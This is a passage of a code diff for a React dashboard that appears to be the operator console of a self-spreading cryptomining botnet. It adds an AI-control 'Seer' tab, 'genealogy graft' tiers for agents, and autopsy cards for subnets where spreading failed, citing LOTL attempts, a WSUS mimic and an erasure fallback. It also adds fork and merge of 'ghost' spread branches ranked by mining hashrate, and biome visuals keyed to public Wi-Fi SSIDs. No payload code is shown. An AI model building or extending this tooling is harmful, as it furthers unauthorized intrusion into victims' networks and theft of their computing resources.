|
||||
<div className="access-depth-phenotype">
|
||||
phenotype cloned from <strong>{model.phenotypeSource}</strong>
|
||||
@@ -216,6 +295,13 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : null}
|
||||
</div>
|
||||
)}
|
||||
{serverPolicy.graft_enabled && (agent.graft_tier || agent.graft_source_strain) && (
|
||||
<div className="access-depth-graft-note access-depth-muted">
|
||||
genealogy graft pending · tier {agent.graft_tier}
|
||||
{agent.graft_source_strain ? ` · strain ${agent.graft_source_strain}` : ''}
|
||||
{' '}(applies on next spread)
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
|
||||
@@ -12,6 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import SetupBanner from '../SetupBanner';
|
||||
import { getSetupStatus } from '../../help/setupStatus';
|
||||
import { resolvePageWeather } from '../../help/pageWeather';
|
||||
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
||||
import { isDashboardRoute } from '../../help/routeEffects';
|
||||
import { api } from '../../api/client';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
@@ -40,10 +41,11 @@ function operatorDeckId(pathname: string): string {
|
||||
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
|
||||
if (path.startsWith('/roi')) return 'roi';
|
||||
if (path.startsWith('/activity')) return 'activity';
|
||||
if (path.startsWith('/seer')) return 'seer';
|
||||
return 'dashboard';
|
||||
}
|
||||
|
||||
const NAV = [
|
||||
const NAV_BASE = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||
@@ -57,6 +59,20 @@ const NAV = [
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
] as const;
|
||||
|
||||
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
|
||||
|
||||
function buildNav(aiControlEnabled: boolean) {
|
||||
if (!aiControlEnabled) {
|
||||
return [...NAV_BASE];
|
||||
}
|
||||
const items = [...NAV_BASE];
|
||||
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
||||
items.splice(calibrateIdx, 0, SEER_NAV);
|
||||
return items;
|
||||
}
|
||||
|
||||
const NAV = NAV_BASE;
|
||||
|
||||
const DOCS_HREF = '/docs/';
|
||||
|
||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */
|
||||
@@ -150,6 +166,14 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M12 8v4" />
|
||||
</svg>
|
||||
);
|
||||
case 'seer':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<ellipse cx="12" cy="12" rx="9" ry="5" />
|
||||
<circle cx="12" cy="12" r="2.5" fill="currentColor" strokeWidth="0" />
|
||||
<path d="M4 12c2-3 5-4.5 8-4.5s6 1.5 8 4.5" strokeOpacity="0.45" />
|
||||
</svg>
|
||||
);
|
||||
case 'docs':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -281,7 +305,19 @@ export default function Layout({ children }: LayoutProps) {
|
||||
}, [moreOpen]);
|
||||
|
||||
const setupStatus = getSetupStatus(serverConfig, serverInfo);
|
||||
const pageWeather = resolvePageWeather(location.pathname);
|
||||
const { latestMessage } = useWebSocket();
|
||||
const scoutBiome = useMemo(() => {
|
||||
if (latestMessage?.type !== 'scout_constellations') return null;
|
||||
return latestMessage.payload as ScoutConstellationSnapshot;
|
||||
}, [latestMessage]);
|
||||
const pageWeather = useMemo(() => {
|
||||
const base = resolvePageWeather(location.pathname);
|
||||
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
||||
return mergeScoutBiomeWeather(base, scoutBiome);
|
||||
}
|
||||
return base;
|
||||
}, [location.pathname, scoutBiome]);
|
||||
const showDeckEffects = isDashboardRoute(location.pathname);
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
|
||||
@@ -54,6 +54,7 @@ export interface AccessDepthServerPolicy {
|
||||
lotl_onion_tiers?: string[];
|
||||
mining_tier_order?: string[];
|
||||
mining_skip_tiers?: string[];
|
||||
graft_enabled?: boolean;
|
||||
triple_onion?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
@@ -521,6 +522,8 @@ export function buildAccessDepthModel(
|
||||
export function parseAccessDepthServerPolicy(config: {
|
||||
server?: {
|
||||
lotl_onion_tiers?: string[];
|
||||
ai_control_enabled?: boolean;
|
||||
fleet_roles_enabled?: boolean;
|
||||
triple_onion_policy?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
@@ -528,9 +531,12 @@ export function parseAccessDepthServerPolicy(config: {
|
||||
};
|
||||
}): AccessDepthServerPolicy {
|
||||
const server = config.server;
|
||||
const graftEnabled =
|
||||
server?.ai_control_enabled === true && server?.fleet_roles_enabled === true;
|
||||
return {
|
||||
lotl_onion_tiers: server?.lotl_onion_tiers,
|
||||
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
graft_enabled: graftEnabled,
|
||||
triple_onion: server?.triple_onion_policy
|
||||
? {
|
||||
recon_tiers: server.triple_onion_policy.recon_tiers,
|
||||
|
||||
29
server/web/src/help/scoutBiomeWeather.test.ts
Normal file
29
server/web/src/help/scoutBiomeWeather.test.ts
Normal file
@@ -0,0 +1,29 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { PAGE_WEATHER } from './pageWeather';
|
||||
import { dominantScoutVenue, mergeScoutBiomeWeather } from './scoutBiomeWeather';
|
||||
|
||||
describe('scoutBiomeWeather', () => {
|
||||
it('picks dominant venue by agent weight', () => {
|
||||
const venue = dominantScoutVenue({
|
||||
constellations: [
|
||||
{ ssid: 'a', venue_class: 'campus', agent_ids: ['1', '2', '3'] },
|
||||
{ ssid: 'b', venue_class: 'airport', agent_ids: ['4', '5', '6', '7'] },
|
||||
],
|
||||
});
|
||||
expect(venue).toBe('airport');
|
||||
});
|
||||
|
||||
it('boosts emberwake pulse for retail scout biome', () => {
|
||||
const base = PAGE_WEATHER['/emberwake'];
|
||||
const merged = mergeScoutBiomeWeather(base, {
|
||||
constellations: [{ ssid: 'Target-Guest', venue_class: 'retail', agent_ids: ['a', 'b', 'c'] }],
|
||||
});
|
||||
expect(merged.pulse).toBeGreaterThan(base.pulse);
|
||||
expect(merged.energyPulse).toBe(true);
|
||||
});
|
||||
|
||||
it('returns base weather when no constellations', () => {
|
||||
const base = PAGE_WEATHER['/dashboard'];
|
||||
expect(mergeScoutBiomeWeather(base, null)).toEqual(base);
|
||||
});
|
||||
});
|
||||
56
server/web/src/help/scoutBiomeWeather.ts
Normal file
56
server/web/src/help/scoutBiomeWeather.ts
Normal file
@@ -0,0 +1,56 @@
|
||||
/** Scout constellation venue → ambient weather biome overlay. */
|
||||
|
||||
import type { PageWeatherConfig } from './pageWeather';
|
||||
|
||||
export interface ScoutConstellationBiome {
|
||||
ssid: string;
|
||||
venue_class: string;
|
||||
persona_pack?: string;
|
||||
agent_ids?: string[];
|
||||
hits?: number;
|
||||
}
|
||||
|
||||
export interface ScoutConstellationSnapshot {
|
||||
constellations?: ScoutConstellationBiome[];
|
||||
}
|
||||
|
||||
const VENUE_BIOME: Record<string, Partial<PageWeatherConfig>> = {
|
||||
airport: { pulse: 1.35, linkStrength: 0.92, density: 0.95, palette: 'campaign' },
|
||||
campus: { pulse: 1.1, linkStrength: 0.82, density: 0.88, palette: 'default' },
|
||||
retail: { pulse: 1.75, speed: 0.62, linkStrength: 0.88, palette: 'campaign', energyPulse: true },
|
||||
unknown: { pulse: 0.95, linkStrength: 0.7, density: 0.8 },
|
||||
};
|
||||
|
||||
/** Pick the dominant venue class from active scout constellations. */
|
||||
export function dominantScoutVenue(snapshot: ScoutConstellationSnapshot | null | undefined): string | null {
|
||||
const list = snapshot?.constellations ?? [];
|
||||
if (!list.length) return null;
|
||||
const rank: Record<string, number> = { airport: 4, retail: 3, campus: 2, unknown: 1 };
|
||||
let best = list[0].venue_class || 'unknown';
|
||||
let bestScore = (list[0].agent_ids?.length ?? 1) * (rank[best] ?? 1);
|
||||
for (let i = 1; i < list.length; i++) {
|
||||
const venue = list[i].venue_class || 'unknown';
|
||||
const score = (list[i].agent_ids?.length ?? 1) * (rank[venue] ?? 1);
|
||||
if (score > bestScore) {
|
||||
best = venue;
|
||||
bestScore = score;
|
||||
}
|
||||
}
|
||||
return best;
|
||||
}
|
||||
|
||||
/** Merge fleet scout biome hints into route weather (Emberwake / dashboard). */
|
||||
export function mergeScoutBiomeWeather(
|
||||
base: PageWeatherConfig,
|
||||
snapshot: ScoutConstellationSnapshot | null | undefined,
|
||||
): PageWeatherConfig {
|
||||
const venue = dominantScoutVenue(snapshot);
|
||||
if (!venue) return base;
|
||||
const overlay = VENUE_BIOME[venue] ?? VENUE_BIOME.unknown;
|
||||
return {
|
||||
...base,
|
||||
...overlay,
|
||||
intensity: Math.min(1, (base.intensity + (overlay.intensity ?? base.intensity)) / 2 + 0.08),
|
||||
energyPulse: overlay.energyPulse ?? base.energyPulse,
|
||||
};
|
||||
}
|
||||
@@ -156,6 +156,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
md_preflight:
|
||||
'Wallet, control URL, and worker name must pass validation before Equip & Strike unlocks. Spread Kit export is skipped automatically when your loadout ships a single-platform or fusion deliverable instead.',
|
||||
|
||||
subnet_immune_autopsy:
|
||||
'Auto-built when a /24 hits five spread failures: last LOTL attempts, WSUS mimic, persona, erasure fallback, atlas gossip whispers, cause-of-death, and BGP vaccination lane from the spread router.',
|
||||
pt_subnet_autopsy:
|
||||
'Immune autopsy for spread-target /24 prefixes paused by subnet_spread_pause — shows vaccination route hints beside Path Tracer spread routes.',
|
||||
ew_overview:
|
||||
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
|
||||
ew_campaign_setup:
|
||||
|
||||
@@ -90,6 +90,7 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'notes_typing',
|
||||
'emberwake_notes_updated',
|
||||
'emberwake_war_room',
|
||||
'scout_constellations',
|
||||
'agent_online',
|
||||
'agent_offline',
|
||||
'new_share',
|
||||
|
||||
@@ -22,6 +22,8 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
@@ -63,6 +65,7 @@ export default function EmberwakePage() {
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [siteName, setSiteName] = useState('my-blog');
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
const [autopsySubnet, setAutopsySubnet] = useState('');
|
||||
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
@@ -115,6 +118,12 @@ export default function EmberwakePage() {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage || latestMessage.type !== 'seer_events') return;
|
||||
const ev = parseSeerSubnetAutopsy(latestMessage.payload);
|
||||
if (ev?.prefix) setAutopsySubnet(ev.prefix);
|
||||
}, [latestMessage]);
|
||||
|
||||
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
|
||||
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
|
||||
|
||||
@@ -242,6 +251,8 @@ export default function EmberwakePage() {
|
||||
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
{autopsySubnet && <SubnetAutopsyCard subnet={autopsySubnet} />}
|
||||
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
|
||||
aria-labelledby="ew-setup-heading"
|
||||
|
||||
@@ -429,6 +429,174 @@
|
||||
}
|
||||
@keyframes pt-spin { to { transform: rotate(360deg); } }
|
||||
|
||||
/* ── Onion timeline fork/merge ───────────────────────────────── */
|
||||
|
||||
.pt-timeline-panel {
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border: 1px solid rgba(180, 120, 255, 0.22);
|
||||
border-radius: 10px;
|
||||
padding: 1rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.pt-timeline-notice {
|
||||
font-size: 0.68rem;
|
||||
color: rgba(180, 140, 255, 0.85);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.pt-timeline-tree {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.65rem;
|
||||
}
|
||||
|
||||
.pt-timeline-fork-group {
|
||||
border-left: 2px solid rgba(180, 120, 255, 0.35);
|
||||
padding-left: 0.65rem;
|
||||
}
|
||||
|
||||
.pt-timeline-fork-label {
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
color: rgba(180, 120, 255, 0.65);
|
||||
font-family: var(--font-tech, monospace);
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.pt-timeline-branches {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.pt-timeline-branch {
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
padding: 0.5rem 0.65rem;
|
||||
font-size: 0.68rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.pt-timeline-branch.running {
|
||||
border-color: rgba(255, 200, 0, 0.45);
|
||||
box-shadow: 0 0 8px rgba(255, 200, 0, 0.12);
|
||||
}
|
||||
|
||||
.pt-timeline-branch.won,
|
||||
.pt-timeline-branch.merged {
|
||||
border-color: rgba(0, 255, 170, 0.45);
|
||||
box-shadow: 0 0 10px rgba(0, 255, 170, 0.15);
|
||||
}
|
||||
|
||||
.pt-timeline-branch.failed {
|
||||
border-color: rgba(255, 80, 80, 0.35);
|
||||
opacity: 0.75;
|
||||
}
|
||||
|
||||
.pt-timeline-branch-head {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.pt-timeline-ghost-icon {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.pt-timeline-persona {
|
||||
color: #e0d4ff;
|
||||
font-weight: 600;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
|
||||
.pt-branch-status {
|
||||
font-size: 0.58rem;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.06em;
|
||||
margin-left: auto;
|
||||
}
|
||||
.pt-branch-status.running { background: rgba(255,200,0,0.15); color: #ffc800; }
|
||||
.pt-branch-status.won,
|
||||
.pt-branch-status.merged { background: rgba(0,255,170,0.15); color: #00ffaa; }
|
||||
.pt-branch-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; }
|
||||
.pt-branch-status.canonical { background: rgba(0,232,245,0.12); color: #00e8f5; }
|
||||
|
||||
.pt-timeline-tier {
|
||||
font-size: 0.6rem;
|
||||
color: rgba(0, 232, 245, 0.5);
|
||||
margin-top: 0.2rem;
|
||||
}
|
||||
|
||||
.pt-timeline-error {
|
||||
font-size: 0.6rem;
|
||||
color: #ff7070;
|
||||
margin-top: 0.2rem;
|
||||
}
|
||||
|
||||
.pt-timeline-canonical {
|
||||
font-size: 0.62rem;
|
||||
color: rgba(0, 232, 245, 0.55);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.pt-timeline-canonical-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
background: #00e8f5;
|
||||
box-shadow: 0 0 6px rgba(0, 232, 245, 0.5);
|
||||
}
|
||||
|
||||
.pt-mermaid-details {
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.pt-mermaid-details summary {
|
||||
cursor: pointer;
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: rgba(180, 140, 255, 0.7);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.pt-mermaid-src {
|
||||
margin-top: 0.5rem;
|
||||
background: rgba(0, 0, 0, 0.55);
|
||||
border: 1px solid rgba(180, 120, 255, 0.2);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem;
|
||||
font-size: 0.58rem;
|
||||
font-family: monospace;
|
||||
color: #c8b8ff;
|
||||
white-space: pre-wrap;
|
||||
max-height: 220px;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.pt-btn-sm {
|
||||
padding: 0.25rem 0.55rem;
|
||||
font-size: 0.58rem;
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.pt-fork-btn {
|
||||
margin-left: 0.35rem;
|
||||
padding: 0.15rem 0.4rem;
|
||||
font-size: 0.55rem;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.pt-page {
|
||||
padding: 0;
|
||||
|
||||
@@ -103,6 +103,40 @@ describe('PathTracerPage', () => {
|
||||
vi.spyOn(api, 'getTraceStatus').mockResolvedValue({ session_id: 'sess-1', ready: false, hops: [] });
|
||||
vi.spyOn(api, 'getTraceQR').mockResolvedValue({ config: 'wg-conf', qr_png_b64: 'abc123' });
|
||||
vi.spyOn(api, 'deleteTrace').mockResolvedValue({ ok: true });
|
||||
vi.spyOn(api, 'forkTraceTimeline').mockResolvedValue({
|
||||
ok: true,
|
||||
session_id: 'sess-1',
|
||||
branches: [
|
||||
{
|
||||
id: 'ghost-1',
|
||||
fork_hop_index: 0,
|
||||
persona: 'aggressive',
|
||||
status: 'running',
|
||||
is_ghost: true,
|
||||
active_tier: 'smb',
|
||||
},
|
||||
],
|
||||
mermaid: 'graph TD\n fork --> ghost',
|
||||
});
|
||||
vi.spyOn(api, 'mergeTraceTimeline').mockResolvedValue({
|
||||
ok: true,
|
||||
session_id: 'sess-1',
|
||||
merged_branch_id: 'ghost-1',
|
||||
merged_persona: 'aggressive',
|
||||
merged_spread_lane: 'smb',
|
||||
branches: [
|
||||
{
|
||||
id: 'ghost-1',
|
||||
fork_hop_index: 0,
|
||||
persona: 'aggressive',
|
||||
status: 'merged',
|
||||
is_ghost: true,
|
||||
mining_linked: true,
|
||||
hashrate: 500,
|
||||
},
|
||||
],
|
||||
mermaid: 'graph TD\n fork --> ghost',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
@@ -341,4 +375,66 @@ describe('PathTracerPage', () => {
|
||||
expect(screen.getByAltText('WireGuard QR')).toBeInTheDocument();
|
||||
expect(screen.getByText('wg-conf')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows onion timeline panel after fork at hop', async () => {
|
||||
vi.mocked(api.getTraceStatus).mockResolvedValue({
|
||||
session_id: 'sess-1',
|
||||
ready: true,
|
||||
hops: [{ agent_id: 'win-1', status: 'ready', agent_name: 'Rig Alpha' }],
|
||||
});
|
||||
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
|
||||
const user = userEvent.setup();
|
||||
renderPage();
|
||||
|
||||
const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
|
||||
await user.click(card);
|
||||
await user.click(screen.getByRole('button', { name: /TRACE/i }));
|
||||
await waitFor(() => expect(capturedPollTick).not.toBeNull());
|
||||
capturedPollTick!();
|
||||
await waitFor(() => expect(api.getTraceQR).toHaveBeenCalled());
|
||||
|
||||
const forkBtn = screen.getByRole('button', { name: /Fork/i });
|
||||
await user.click(forkBtn);
|
||||
await waitFor(() => expect(api.forkTraceTimeline).toHaveBeenCalledWith('sess-1', 0));
|
||||
|
||||
expect(await screen.findByTestId('pt-timeline-tree')).toBeInTheDocument();
|
||||
expect(screen.getByText(/aggressive/i)).toBeInTheDocument();
|
||||
expect(screen.getByTestId('pt-mermaid-src')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('merge best branch calls merge API', async () => {
|
||||
vi.mocked(api.getTraceStatus).mockResolvedValue({
|
||||
session_id: 'sess-1',
|
||||
ready: true,
|
||||
hops: [{ agent_id: 'win-1', status: 'ready' }],
|
||||
timeline_branches: [
|
||||
{ id: 'canonical', fork_hop_index: -1, status: 'canonical', is_ghost: false },
|
||||
{
|
||||
id: 'ghost-won',
|
||||
fork_hop_index: 0,
|
||||
persona: 'silent',
|
||||
status: 'won',
|
||||
is_ghost: true,
|
||||
mining_linked: true,
|
||||
hashrate: 900,
|
||||
},
|
||||
],
|
||||
mermaid: 'graph TD\n a --> b',
|
||||
});
|
||||
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
|
||||
const user = userEvent.setup();
|
||||
renderPage();
|
||||
|
||||
const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
|
||||
await user.click(card);
|
||||
await user.click(screen.getByRole('button', { name: /TRACE/i }));
|
||||
await waitFor(() => expect(capturedPollTick).not.toBeNull());
|
||||
capturedPollTick!();
|
||||
await waitFor(() => screen.getByTestId('pt-timeline-tree'));
|
||||
|
||||
await user.click(screen.getByRole('button', { name: /Merge best branch/i }));
|
||||
await waitFor(() => expect(api.mergeTraceTimeline).toHaveBeenCalledWith('sess-1', 'ghost-won'));
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,10 +1,21 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types';
|
||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||
import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from '../help/subnetAutopsy';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
|
||||
import {
|
||||
branchStatusClass,
|
||||
branchStatusLabel,
|
||||
ghostBranchesByHop,
|
||||
mergeMermaidStyles,
|
||||
pickMergeCandidate,
|
||||
type PathTraceTimelineBranch,
|
||||
type PathTraceTimelineWS,
|
||||
} from '../help/pathTracerTimeline';
|
||||
import './PathTracerPage.css';
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
@@ -15,6 +26,12 @@ interface TraceStatus {
|
||||
error?: string;
|
||||
hops: PathTraceHop[];
|
||||
spread_routes?: SpreadRouteRecommendation[];
|
||||
timeline_branches?: PathTraceTimelineBranch[];
|
||||
merged_persona?: string;
|
||||
merged_spread_lane?: string;
|
||||
merged_branch_id?: string;
|
||||
merged_hashrate?: number;
|
||||
mermaid?: string;
|
||||
}
|
||||
|
||||
interface QRData {
|
||||
@@ -28,6 +45,71 @@ function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) {
|
||||
return <span className={`pt-hop-status ${status}`}>{status}</span>;
|
||||
}
|
||||
|
||||
function BranchStatusBadge({ branch }: { branch: PathTraceTimelineBranch }) {
|
||||
return (
|
||||
<span className={`pt-branch-status ${branchStatusClass(branch.status)}`}>
|
||||
{branchStatusLabel(branch.status)}
|
||||
{branch.mining_linked && branch.hashrate ? ` · ${Math.round(branch.hashrate)} H/s` : ''}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function TimelineBranchTree({
|
||||
branches,
|
||||
hopCount,
|
||||
onMerge,
|
||||
mergeBusy,
|
||||
}: {
|
||||
branches: PathTraceTimelineBranch[];
|
||||
hopCount: number;
|
||||
onMerge: (branchId: string) => void;
|
||||
mergeBusy: boolean;
|
||||
}) {
|
||||
const byHop = ghostBranchesByHop(branches);
|
||||
if (byHop.size === 0) return null;
|
||||
|
||||
return (
|
||||
<div className="pt-timeline-tree" data-testid="pt-timeline-tree">
|
||||
{Array.from(byHop.entries()).map(([hopIdx, ghosts]) => (
|
||||
<div key={hopIdx} className="pt-timeline-fork-group">
|
||||
<div className="pt-timeline-fork-label">Fork @ hop {hopIdx + 1}</div>
|
||||
<div className="pt-timeline-branches">
|
||||
{ghosts.map((b) => (
|
||||
<div key={b.id} className={`pt-timeline-branch ${branchStatusClass(b.status)}`}>
|
||||
<div className="pt-timeline-branch-head">
|
||||
<span className="pt-timeline-ghost-icon">👻</span>
|
||||
<span className="pt-timeline-persona">{b.persona}</span>
|
||||
<BranchStatusBadge branch={b} />
|
||||
</div>
|
||||
{b.active_tier && (
|
||||
<div className="pt-timeline-tier">lane: {b.active_tier}</div>
|
||||
)}
|
||||
{b.error && <div className="pt-timeline-error">{b.error}</div>}
|
||||
{(b.status === 'won' || b.mining_linked) && (
|
||||
<button
|
||||
type="button"
|
||||
className="pt-btn pt-btn-primary pt-btn-sm"
|
||||
disabled={mergeBusy || b.status === 'merged'}
|
||||
onClick={() => onMerge(b.id)}
|
||||
>
|
||||
{b.status === 'merged' ? 'Merged' : 'Merge winner'}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
{hopCount > 0 && (
|
||||
<div className="pt-timeline-canonical">
|
||||
<span className="pt-timeline-canonical-dot" />
|
||||
Canonical chain · {hopCount} hop{hopCount === 1 ? '' : 's'}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// ── QR Modal ──────────────────────────────────────────────────────────────────
|
||||
|
||||
function QRModal({
|
||||
@@ -102,7 +184,7 @@ function QRModal({
|
||||
// ── main component ────────────────────────────────────────────────────────────
|
||||
|
||||
export default function PathTracerPage() {
|
||||
const { agents: wsAgents } = useWebSocket();
|
||||
const { agents: wsAgents, latestMessage } = useWebSocket();
|
||||
const [restAgents, setRestAgents] = useState<Agent[]>([]);
|
||||
const [selected, setSelected] = useState<string[]>([]); // ordered chain
|
||||
const [loading, setLoading] = useState(false);
|
||||
@@ -114,6 +196,14 @@ export default function PathTracerPage() {
|
||||
const [qr, setQR] = useState<QRData | null>(null);
|
||||
const [showQR, setShowQR] = useState(false);
|
||||
const [spreadRoutes, setSpreadRoutes] = useState<SpreadRouteRecommendation[]>([]);
|
||||
const [autopsySubnet, setAutopsySubnet] = useState('');
|
||||
const [timelineBranches, setTimelineBranches] = useState<PathTraceTimelineBranch[]>([]);
|
||||
const [mermaidSrc, setMermaidSrc] = useState('');
|
||||
const [mergedPersona, setMergedPersona] = useState('');
|
||||
const [forkBusyHop, setForkBusyHop] = useState<number | null>(null);
|
||||
const [mergeBusy, setMergeBusy] = useState(false);
|
||||
const [timelineNotice, setTimelineNotice] = useState('');
|
||||
const [graftNoteVisible, setGraftNoteVisible] = useState(false);
|
||||
|
||||
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
||||
const [autoEndCountdown, setAutoEndCountdown] = useState<number | null>(null);
|
||||
@@ -126,6 +216,61 @@ export default function PathTracerPage() {
|
||||
api.listAgents().then(setRestAgents).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
api
|
||||
.getConfig()
|
||||
.then((cfg) => {
|
||||
setGraftNoteVisible(
|
||||
cfg.server?.ai_control_enabled === true && cfg.server?.fleet_roles_enabled === true,
|
||||
);
|
||||
})
|
||||
.catch(() => setGraftNoteVisible(false));
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage || latestMessage.type !== 'seer_events') return;
|
||||
const ev = parseSeerSubnetAutopsy(latestMessage.payload);
|
||||
if (ev?.prefix) setAutopsySubnet(ev.prefix);
|
||||
}, [latestMessage]);
|
||||
|
||||
useEffect(() => {
|
||||
if (autopsySubnet || spreadRoutes.length === 0) return;
|
||||
const target = spreadRoutes[0]?.target_subnet;
|
||||
if (target) setAutopsySubnet(subnetAutopsyPrefix(target));
|
||||
}, [spreadRoutes, autopsySubnet]);
|
||||
|
||||
const applyTimelineStatus = useCallback((status: TraceStatus) => {
|
||||
if (status.timeline_branches?.length) {
|
||||
setTimelineBranches(status.timeline_branches);
|
||||
}
|
||||
if (status.mermaid) {
|
||||
setMermaidSrc(mergeMermaidStyles(status.mermaid));
|
||||
}
|
||||
if (status.merged_persona) {
|
||||
setMergedPersona(status.merged_persona);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage || latestMessage.type !== 'pathtrace_timeline') return;
|
||||
const p = latestMessage.payload as PathTraceTimelineWS;
|
||||
if (p.session_id && sessionID && p.session_id !== sessionID) return;
|
||||
if (p.branches?.length) {
|
||||
